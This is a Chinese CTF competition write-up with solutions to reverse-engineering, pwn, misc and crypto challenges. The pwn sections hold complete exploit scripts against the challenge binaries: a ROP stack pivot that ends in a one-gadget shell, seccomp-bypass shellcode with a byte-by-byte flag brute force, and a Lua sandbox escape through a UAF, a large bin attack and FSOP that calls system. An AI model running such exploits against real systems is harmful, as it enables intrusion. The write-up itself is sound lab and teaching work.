第一届中国研究生网络安全创新大赛 Writeup

本 Writeup 由 Xp0int 和 Xp0inTwo 两支参赛队伍的 Writeup 合并而成。

部分题目的附件

re_infantvm

Author: cew

虚拟机,写脚本模拟下,但是没模拟成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import ctypes
opcode = [7, 6, 0, 6, 7, 8, 7, 48, 4, 6, 4294967258, 17238528, 4, 6, 4294967262, 134817053, 4, 6, 4294967266, 302453761, 4, 6, 4294967270, 320942876, 4, 6, 4294967274, 51713283, 4, 6, 4294967278, 621948674, 4, 6, 4294967282, 51647497, 4, 6, 4294967286, 168432133, 24, 6, 4294967290, 6943, 21, 6, 12, 34, 30, 28, 23, 0, 0, 12, 284, 4, 6, 4294967292, 0, 12, 212, 3, 3, 6, 4294967292, 3, 0, 6, 8, 10, 0, 3, 6, 0, 0, 25, 0, 102, 27, 3, 0, 28, 2, 6, 4294967258, 3, 0, 6, 4294967292, 10, 0, 2, 6, 0, 0, 5, 0, 0, 29, 3, 0, 30, 28, 23, 0, 0, 12, 72, 11, 6, 4294967292, 1, 3, 0, 6, 4294967292, 31, 0, 33, 26, 4294967064, 23, 0, 1, 19, 20]
opcode = [ctypes.c_int(_).value for _ in opcode]

rip = 0
tmp_ptr_off = 4
num_504 = 504

def get_member_name(off):
    dic = {
        0 : "reg0",
        1 : "reg1",
        2 : "reg2",
        3 : "reg3",
        4 : "reg4",
        5 : "input_ptr",
        6 : "input_len",
        7 : "tmp_ptr"
    }
    return dic[off]

def func_1():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {b}")
    rip += 2

def func_2():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, b, c = get_member_name(d1), get_member_name(d2), get_member_name(d3)
    print(f"{a}[{b}] = {c}")
    rip += 3

def func_3():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, b, c = get_member_name(d1), get_member_name(d2), get_member_name(d3)
    print(f"{a} = {b}[4*{c}]")
    rip += 3

def func_4():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {b}[{d3}]")
    rip += 3

def func_5():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a = get_member_name(d1)
    print(f"{a}[{d2}] = {d3}")
    rip += 3

def func_6():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {b}")
    rip += 2

def func_7():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = [{b}]")
    rip += 2

def func_8():
    global rip, tmp_ptr_off
    d1 = opcode[rip]
    a = get_member_name(d1)
    tmp_ptr_off -= 1
    b = get_member_name(tmp_ptr_off)
    print(f"{b} = {a}")

    rip += 1

def func_9():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a = get_member_name(d1)
    print(f"{a} -= {d2}")
    rip += 2

def func_10():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {d3} * {b}")
    rip += 3

def func_11():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} += {b}")
    rip += 2

def func_12():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a = get_member_name(d1)
    print(f"{a}[{d2}] += {d3}")
    rip += 3

def func_13():
    global rip, tmp_ptr_off
    rip = opcode[rip]

def func_18():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, c = get_member_name(d1), get_member_name(d3)
    print(f"{a}[{d2}] += {c}")
    rip += 3

def func_19():
    global rip, tmp_ptr_off
    d1 = opcode[rip]
    a = get_member_name(d1)
    print(f"{a} = {num_504 & 1} (num_504 & 1)")
    rip += 1

def func_21():
    global rip, tmp_ptr_off
    print("return to esp")

def func_22():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a = get_member_name(d1)
    print(f"compare {a}[{d2}] with {d3}") 

    # first compare input len == 34 ?
    # 

    rip += 3

def func_24():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a = get_member_name(d1)
    print(f"{a} = {d2}")
    rip += 2

def func_25():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a = get_member_name(d1)
    print(f"{a}[{d2}] = {d3}")
    rip += 3

def func_26():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a = get_member_name(d1)
    print(f"{a} ^= {d2}")
    rip += 2    

def func_28():
    global rip, tmp_ptr_off
    d1, d2 = opcode[rip:rip+2]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {b} & 0xff")
    rip += 2    

def func_29():
    global rip, tmp_ptr_off
    d1, d2, d3 = opcode[rip:rip+3]
    a, b = get_member_name(d1), get_member_name(d2)
    print(f"{a} = {b} + {d3}")
    rip += 3

def func_31():
    global rip, tmp_ptr_off
    # rip = opcode[rip]
    rip += 1

# exists_func = [_ for _ in range(1, 14)] + [18, 19, 25, 26, 28, 29]
# for fn in exists_func:
#     print(str(fn - 1) + " : " + f"func_{fn},")

funcs = {
0 : func_1,
1 : func_2,
2 : func_3,
3 : func_4,
4 : func_5,
5 : func_6,
6 : func_7,
7 : func_8,
8 : func_9,
9 : func_10,
10 : func_11,
11 : func_12,
12 : func_13,
17 : func_18,
18 : func_19,
20 : func_21,
21 : func_22,
23 : func_24,
24 : func_25,
25 : func_26,
27 : func_28,
28 : func_29,
30 : func_31,
}

while rip < len(opcode):
    idx = opcode[rip]
    rip += 1
    if idx not in funcs:
        print("error: ", idx)
        exit(0)
    funcs[idx]()

根据部分信息可猜测输入长 34 字节,在异或的地方下断点可以发现每字节输入都异或’a’,异或后的值再和上图 34 字节值一一字节比较,异或还原就得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
d = [17238528,
134817053,
302453761,
320942876,
51713283,
621948674,
51647497,
168432133,
6943]

d = [_.to_bytes(4, 'little') for _ in d]
d = list(b''.join(d))
d = [_ ^ ord('f') for _ in d]
print(bytes(d))

FLAG : flag{CongratzUGuessedItCorrectlly}

pwn_stack

Author: xf1les

栈溢出。首先将 ROP 链部署到 bss 段缓冲区,利用栈溢出漏洞栈迁移至 bss 段。然后调用 puts 泄漏 libc 地址,利用 __libc_csu_init gadget 调用 read 读入 one gadget 地址,最后执行 one gadget get shell 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)   

p = process("./stack")
# ~ p = remote("192.168.1.103", 19999)

rop = flat([
    0x4007a3, # pop rdi
    0x601018, # puts got
    0x400520, # puts
    0x40079a, # __libc_csu_init
    0,  #rbx
    1,  #rbp
    0x601020,  #r12
    8,
    0x6011b0,
    0,
    0x400780, # __libc_csu_init
])
p_s(b'A'*0x80+rop, "input your name:")

jmp_rop = flat([
    0x6010A0-0x8+0x80,
    0x400718, # leave; ret
])
p_s(b'A'*0x70+jmp_rop, "input your data:\n")

libc_address = u64(p.recv(6).ljust(8, b'\x00')) - 0x6F6A0
info("libcbase: 0x%lx", libc_address)

p.send(p64(libc_address+0x4527a))

p.interactive()

pwn_made_in_heaven

Author: xf1les

shellcode 题。需要利用 32 位架构绕过 seccomp 沙盒执行 open 系统调用。

由于程序 close 了 stdout/stderr,只能逐字节爆破读取到的 flag。猜测 flag 方式为:如果爆破失败,先调用 close(0) 关闭 stdin 再进死循环;如果爆破成功,直接进死循环。

执行完 shellcode 后,随便向远程发送几段数据,如果报错 EOF,说明爆破失败,反之成功。

EXP 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import os
import time
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(log_level="error")

p = None

step1_sc = open("/pwn/shellcode/step1_shellcode.bin", "rb").read().ljust(0x38, b'\x90')
def main(pos, c):
    global p
    if p:
        try:
            if hasattr(p, 'proc'): 
                # 强制杀死本地进程
                p.proc.kill()
            else:
                p.close()
        except:
            pass
    p = process("./pwn")
    # ~ p = remote("192.168.1.102", 18888)
    try:
        p.send(step1_sc)
        os.system(f"/pwn/shellcode/guess_flag_onebyte.sh {pos} {ord(c)} >/dev/null")
        step2_sc = open("/pwn/shellcode/step2_shellcode.bin", "rb").read()
        p.send(step2_sc)
        for i in range(5):
            p.sendline("aaaa")
            time.sleep(1)
        return True
    except KeyboardInterrupt:
        exit(0)
    except:
        return False

FLAG_CHARS = "0123456789abcdefghijklmnopqrstuvwxyz"

flag = ""
while len(flag) != 32:
    for c in FLAG_CHARS:
        x = main(len(flag), c)
        print(flag+c, x)
        if x:
            flag += c
            print(">>>>>>", flag, "<<<<<<<<<")
            break

第一步 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
; FILE: step1_shellcode.asm
; 编译方法:
;  nasm -f elf64 step1_shellcode.asm -o step1_shellcode.o 
;  objcopy -O binary step1_shellcode.o step1_shellcode.bin

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _start

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .bss
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .data

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .text

_start:
    ; mmap a piece of RWX memory space: 0x10000
    ; NOTE: another address (e.q 0x1000) may fail under non-root user.
    xor r9, r9
    mov r8d, 0xFFFFFFFF
    mov r10d, 0x22
    mov edx, 7
    mov esi, 0x1000
    mov edi, 0x10000 ; address is 0x10000
    mov rax, 9
    syscall

    ; read shellcode to mmap space
    mov rsi, rdi
    xor rdi, rdi
    mov edx, 0x65 ; shellcode size, change it if needed.
    xor rax, rax
    syscall

    ; jmp to shellcode
    jmp rsi 

第二步 shellcode 模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
; FILE: step2_shellcode.asm
#include <linux/amd64.h>

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _start

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .bss
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .data

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    section .text

; Shellcode base
%define BASE 0x10000
%define STACK 0x10800
%define BUF 0x10900

_start:
    ; migrate stack to STACK
    mov rsp, STACK

    ; Switching to 32bit
    push 0x23
    push BASE-$$+do_open
    retfq

do_open:
    mov eax, SYS32_open
    push 0x67
    push 0x616c662f
    mov ebx, esp
    xor ecx, ecx
    int 0x80
    mov edi, eax

    ; Switching to 64bit
    push 0x33
    push BASE-$$+do_read
    retfq

do_read:
    mov rax, SYS_read
    mov rsi, BUF
    syscall 

    ; Guessing flag, for write syscall is banned.
    mov rcx, POS

guess:
    ; Now we guess the character in flag at POS is CHAR
    push CHAR
    pop rax

    xor rbx, rbx
    mov bl, BYTE [BUF+rcx]
    cmp al, bl
    ; Die if we loss
    jnz die

loop:
    jmp loop

die:
    ; Switching to 32bit
    push 0x23
    push BASE-$$+do_close
    retfq

do_close:
    mov eax, SYS32_close
    mov ebx, 0
    int 0x80

loop32:
    jmp loop32

生成第二步 shellcode 的脚本 guess_flag_onebyte.sh:

1
2
3
4
5
#!/bin/bash

cpp -C -nostdinc -undef -P -I"/usr/local/lib/$(py3versions -d)/dist-packages/pwnlib/data/includes" -DPOS=$1 -DCHAR=$2 step2_shellcode.asm 1> /tmp/shellcode.asm 2>/dev/null && \
nasm -f elf64 /tmp/shellcode.asm -o step2_shellcode.o && \
objcopy -O binary step2_shellcode.o step2_shellcode.bin

pwn_adv_lua(未解出)

Author: xf1les

比赛期间没有解出这道题。比赛结束前最后几分钟才写好的 exp 脚本,只能打通本地,远程不知为何打不了 X(

1
2
3
4
5
题目为Lua 5.4增加了bytearray支持请尝试逃逸Lua沙盒获得任意执行权限执行/readflag获得flag 
 注意远端lua的启动方式为 `./lua -` 请在一次性发送完exp后发送EOFexp就会被执行
 远端输入和输出大小有限制超过限制的内容会被截断请尽量减小exp大小和输出大小 
 远端sh为包装的execve不支持sh语法请直接执行/readflag 
 flag格式是32位小写哈希值 http://172.200.200.201/attachment/adv_lua.zip

barray 结构体结构如下:

move 方法存在 UAF 漏洞,触发方式是 arr.move(arr, arr)

move 方法接受两个 barray 参数 dst 和 src,大致流程是释放 dst 的 ptr,清空 src,然后将 src 的 sizeptr 赋值给 dst。但当 dst 和 src 指向同一个 barray 时,可以在不清空 barray 的情况下释放 ptr,存在 UAF 漏洞。

漏洞利用思路是利用 large bin attack 打 fsop 做 rop:首先在堆上构造 fake chunk,利用 UAF 修改 tcache chunk 分配到 fake chunk,通过 fake chunk 修改 largebin bin chunk,然后实施 large bin attack 将 fake FILE 地址写入 _IO_list_all,最后调用 exit() 触发 fsop,通过 _IO_wfile_underflow_mmap -> _IO_wdoallocbuf 栈迁移至 rop 链上调用 system("/readflag")

之所以需要构造 fake chunk,这是因为题目限制 ptr 只能是堆地址,并使用 malloc_usable_size 检查 ptr 的 chunk size 和 next inuse。

EXP 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p = process(["./lua_patched", "-"], env={'LD_PRELOAD':'./libc.so.6'})
# ~ p = remote("192.168.1.101", 19999)

fp  = 0x9d10
rop = 0x9180
vtable_ptr = 0x1fbdc0-0x18

pop_rdi   = 0x2d8b5
leave_ret = 0x53dfc
system    = 0x4f230

pp = f"""
local function leak(b)
    res=0
    for i=0,8 do 
        res = res + (b.get(b, i) << (i*8))
    end
    return res
end
local function write(b, data, offset)
    for i=0,8 do
        d = data & 0xff
        b.set(b, offset+i, d)
        data = data >> 8
    end
end
local function write7(b, data, offset)
    for i=0,7 do
        d = data & 0xff
        b.set(b, offset+i, d)
        data = data >> 8
    end
end
local function zeros(b, size)
    for i=0,size do
        b.set(b, i, 0)
    end
end
a = bytes.new(0x4B0-1)
aa = bytes.new(0x4B0-1)
b = bytes.new(0x10)
a.move(a, a)
c = bytes.new(0x210)
libcbase = leak(c) - 0x1fab00
print(libcbase)
d = bytes.new(0x180)
d = bytes.new(0x180)
heapbase = (leak(d) << 12) - 0x1000
print(heapbase)
rop = bytes.new(0x123)
write(rop, libcbase+{pop_rdi}, 0)
write(rop, heapbase+{rop}+0x80, 0x8)
write(rop, libcbase+0x9931f, 0x10)
write(rop, libcbase+{system}, 0x18)
write(rop, 7020098500480561711, 0x80)
write(rop, 103, 0x88)
fakefp = bytes.new(0x418)
zeros(fakefp, 0x100-1)
write(fakefp, 0xffffffffffffffff, 0x10-0x10)
write(fakefp, 0xffffffffffffffff, 0x28-0x10)
write(fakefp, libcbase+{leave_ret}, 0x68-0x10)
write(fakefp, heapbase+{fp}+0xe0, 0x80-0x10)
write(fakefp, heapbase+{rop}-8, 0x98-0x10)
write(fakefp, heapbase+{fp}+0x10, 0xa0-0x10)
write(fakefp, libcbase+{vtable_ptr}, 0xd8-0x10)
write(fakefp, heapbase+{fp}, 0xf0-0x10)

a0=bytes.new(0x30)
jjj = bytes.new(0x420)
aaa = bytes.new(0x420)
ccc = bytes.new(0x420)
a1=bytes.new(0x30)

qwe = bytes.new(0x100)
qwe.move(qwe, qwe)

write(qwe, (heapbase+0xa610)~((heapbase+0x7c50)>>12), 0)
qwe1 = bytes.new(0x100)
tt = bytes.new(0x100)
a0.move(a0, a0)
a1.move(a1, a1)
aaa.move(aaa, aaa)
x = bytes.new(0x440)
write(jjj, 0x4d1, 0x408)
write(tt, libcbase+0x1fb480, 0x78)

fakefp.move(fakefp, fakefp)

p= bytes.new(0x450)
write(jjj, 0, 0x408)
write(tt, 0xdeadbeef, 0)
"""
p.sendline(pp)

p.shutdown("send")
p.interactive()

Payload 说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
-- 泄漏 libc 地址
a = bytes.new(0x4B0-1)
aa = bytes.new(0x4B0-1)
b = bytes.new(0x10)
a.move(a, a)
c = bytes.new(0x210)
libcbase = leak(c) - 0x1fab00
print(libcbase)

-- 泄漏 heap 地址
d = bytes.new(0x180)
d = bytes.new(0x180)
heapbase = (leak(d) << 12) - 0x1000
print(heapbase)

-- 构造 rop 链
rop = bytes.new(0x123)
write(rop, libcbase+{pop_rdi}, 0)
write(rop, heapbase+{rop}+0x80, 0x8)
write(rop, libcbase+0x9931f, 0x10)
write(rop, libcbase+{system}, 0x18)
write(rop, 7020098500480561711, 0x80)
write(rop, 103, 0x88)

-- 构造 fake FILE
fakefp = bytes.new(0x418)
zeros(fakefp, 0x100-1)
write(fakefp, 0xffffffffffffffff, 0x10-0x10)
write(fakefp, 0xffffffffffffffff, 0x28-0x10)
write(fakefp, libcbase+{leave_ret}, 0x68-0x10)
write(fakefp, heapbase+{fp}+0xe0, 0x80-0x10)
write(fakefp, heapbase+{rop}-8, 0x98-0x10)
write(fakefp, heapbase+{fp}+0x10, 0xa0-0x10)
write(fakefp, libcbase+{vtable_ptr}, 0xd8-0x10)
write(fakefp, heapbase+{fp}, 0xf0-0x10)

-- 准备 largebin attack
a0=bytes.new(0x30)
jjj = bytes.new(0x420)
aaa = bytes.new(0x420)
ccc = bytes.new(0x420)
a1=bytes.new(0x30)

-- UAF 修改 tcache chunk fd,分配得到 fake chunk (tt)
-- fake chunk 位于 jjj 中
qwe = bytes.new(0x100)
qwe.move(qwe, qwe)
write(qwe, (heapbase+0xa610)~((heapbase+0x7c50)>>12), 0)
qwe1 = bytes.new(0x100)
tt = bytes.new(0x100)

-- 释放 large bin chunk (需先释放一些 0x30 chunk 防止被分割)
a0.move(a0, a0)
a1.move(a1, a1)
aaa.move(aaa, aaa)
x = bytes.new(0x440)
-- 将 fake chunk 的 size 设为 0x4d1,绕过检查
write(jjj, 0x4d1, 0x408)
-- 修改 large bin chunk (aaa)
write(tt, libcbase+0x1fb480, 0x78)

-- 实施 large bin attack,将 fake FILE 地址写入 _IO_list_all
fakefp.move(fakefp, fakefp)
p= bytes.new(0x450)

-- 清空 fake chunk size,使检查失败调用 exit() 触发 fsop
write(jjj, 0, 0x408)
write(tt, 0xdeadbeef, 0)

如下图,本地环境运行 exp 成功。远程打不通,但可以正常泄漏 libc 和 heap 地址。

misc_奇怪的 E

Writeup 1

Author: vvmdx

零宽字符

1
<script src="unicode_steganography.js"></script>

解出压缩包密码 Cetacean

flag.txt 如下

1
EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeeeEEEEEEEEEeeeeEeeEEEEEEEEEeEEEEeeEEEEEEEEEeeEEeEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEEeeEEEEEEEEEEeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEeeeEEEEEEEEEEeEeeeeeEEEEEEEEEeEEEEeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEEEEEEEEEEEeeEEeEeEEEEEEEEEeeeEEeEEEEEEEEEEeEeeeeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEeeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEEEeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEeeeeEEEEEEEEEeeEEeEEEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeEeEEEEEEEEEeEEeeeEEEEEEEEEEeeEEEeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEEeEEEEEEEEEEEeeEEeEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEeeeeeEe

判断出:

  1. E 对应 0,e 对应 1
  2. 每 16 位对应一个字符(前 8 位无用)

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# coding:utf-8
import re

str = "EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeeeEEEEEEEEEeeeeEeeEEEEEEEEEeEEEEeeEEEEEEEEEeeEEeEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEEeeEEEEEEEEEEeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEeeeEEEEEEEEEEeEeeeeeEEEEEEEEEeEEEEeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEEEEEEEEEEEeeEEeEeEEEEEEEEEeeeEEeEEEEEEEEEEeEeeeeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEeeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEEEeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEeeeeEEEEEEEEEeeEEeEEEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeEeEEEEEEEEEeEEeeeEEEEEEEEEEeeEEEeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEEeEEEEEEEEEEEeeEEeEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEeeeeeEe"

_bin = ''
for s in str:
    if s == 'e':
        _bin += '1'
    else:
        _bin += '0'

# print(_bin)
bin_list = re.findall(r'.{8}', _bin)
index = 1
res = ''
while index < len(bin_list):
    res += chr(int(bin_list[index], 2))
    index += 2
print(res)

得到 flag{Cetac4an_C1pher_1s_a_g0od_eNc0de!!!!}

Writeup 2

Author: hututu

打开是一句正常的话,用vim打开发现是零宽度隐写,使用工具将其解密得到压缩包密码Cetacean

得到txt中,将E为0,e为1,二进制转16进制,去除两个16进制字符中的00,转字符串即可得到flag

图片

crypto_LCG

Author: k1rit0

\[a \cdot n_1 + b = n_2 \mod n\]

前面三个问题推推关系算一下就可以出了,第四个问题想起自己的陈年老脚本,抄下来就解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import pwn 
from re import findall
from gmpy2 import invert
from tqdm import tqdm
from functools import reduce
from math import gcd

con = pwn.remote('192.168.1.105',19999)
con.recvuntil(b'seed = ').decode()

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)

# challenge1
for _ in tqdm(range(50)):
    resp = con.recvuntil(b'seed = ').decode()
    a = int(findall(r'a\=(.*)',resp)[0])
    b = int(findall(r'b\=(.*)',resp)[0])
    N = int(findall(r'N\=(.*)',resp)[0])
    num1 = int(findall(r'num1\=(.*)',resp)[0])
    con.sendline(str(((num1 - b) * invert(a,N))% N).encode())

# challenge2
for _ in tqdm(range(30)):
    resp = con.recvuntil(b'seed = ').decode()
    a = int(findall(r'a\=(.*)',resp)[0])
    N = int(findall(r'N\=(.*)',resp)[0])
    num1 = int(findall(r'num1\=(.*)',resp)[0])
    num2 = int(findall(r'num2\=(.*)',resp)[0])
    b = num2 - num1 * a 
    con.sendline(str(((num1 - b) * invert(a,N))% N).encode())

# challenge3
for _ in tqdm(range(20)):
    resp = con.recvuntil(b'seed = ').decode()
    N = int(findall(r'N\=(.*)',resp)[0])
    num1 = int(findall(r'num1\=(.*)',resp)[0])
    num2 = int(findall(r'num2\=(.*)',resp)[0])
    num3 = int(findall(r'num3\=(.*)',resp)[0])
    a = (num2 - num3) * invert(num1 - num2,N)
    b = num2 - num1 * a 
    con.sendline(str(((num1 - b) * invert(a,N))% N).encode())

# challenge4
for _ in tqdm(range(1)):
    resp = con.recvuntil(b'seed = ').decode()
    num1 = int(findall(r'num1\=(.*)',resp)[0])
    num2 = int(findall(r'num2\=(.*)',resp)[0])
    num3 = int(findall(r'num3\=(.*)',resp)[0])
    num4 = int(findall(r'num4\=(.*)',resp)[0])
    num5 = int(findall(r'num5\=(.*)',resp)[0])
    num6 = int(findall(r'num6\=(.*)',resp)[0])
    N,a,b = crack_unknown_modulus([num1,num2,num3,num4,num5,num6])
    con.sendline(str(((num1 - b) * invert(a,N))% N).encode())
    print(con.recv())
    print(con.recv())
    print(con.recv())

crypto_magic_ecc/crypto_break_me

Author: k1rit0

今天的这两题都是一样的,CRT+Coppersmith

两道题都给了四条方程的方程组,模数不同,但系数全部都有了,所以可以直接利用中国剩余定理将\(\mod N_1,N_2,N_3,N_4\)下的四个方程合在一起

变成一个\(f(x) = 0 \mod N_1N_2N_3N_4\)

magic_ecc中最高次幂是3,而break_me中的最高次幂是4,m的大小刚好卡在Coppersmith的界左右

保险起见,可以利用已知的flag头flag{,将未知比特减少40bit左右,这样就能更好的用Copper跑出来了,

这样拆 -> \(m = HEAD \cdot 2 ^{k} + m'\),\(k\)的取值是flag的长度减去5,再乘8(一字节8比特

为了减小篇幅,我把exp的数据部分省略掉了

magic_ecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from tqdm import tqdm
FILE = '''...'''
N = []
A = []
B = []
Y = []
for line in FILE.split('\n'):
    line = line.split(' ')
    N.append(int(line[0]))
    A.append(int(line[1]))
    B.append(int(line[2]))
    Y.append(int(line[3]))

for d1 in tqdm(range(8)):
    for d2 in range(8):
        for d3 in range(8):
            for d4 in range(8):
                    D = [d1,d2,d3,d4]
                    d = 0
                    F = []
                    for n,a,b,y in zip(N,A,B,Y):
                        PR.<x> = PolynomialRing(ZZ)
                        d += D.pop(0)
                        X = bytes_to_long(b'flag{') * 2 ** (123 * 8) + x + d
                        f = X ^ 3 + a * X + b - y ^ 2 
                        F.append(f)
                    f = crt(F,N).change_ring(Zmod(N[0]*N[1]*N[2]*N[3]))
                    Root = f.small_roots(X = 2 ^ (123 * 8))
                    if Root != []:
                        print(Root)
x = 62714830074558078137259092251947376560176208696666972615460565921817145259075113560284187836897297191434971843584533118598570207913958618520407758533155801292582956361285214315929434210465535422494984919580349784977024756402032442124616873438512060871459908408993156249225951425368352910169777052
print(long_to_bytes(bytes_to_long(b'flag{') * 2 ** (123 * 8) + x))

break_me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import bytes_to_long,long_to_bytes
out = [...]
F = []
Ns = []
for data in out:
    N,r,c = data 
    PR.<x> = PolynomialRing(ZZ)
    X = bytes_to_long(b'flag{') * 2 ** (58 * 8) + x
    f = X ** 4 + 3 * X ** 2 + r * X - c
    F.append(f)
    Ns.append(N)
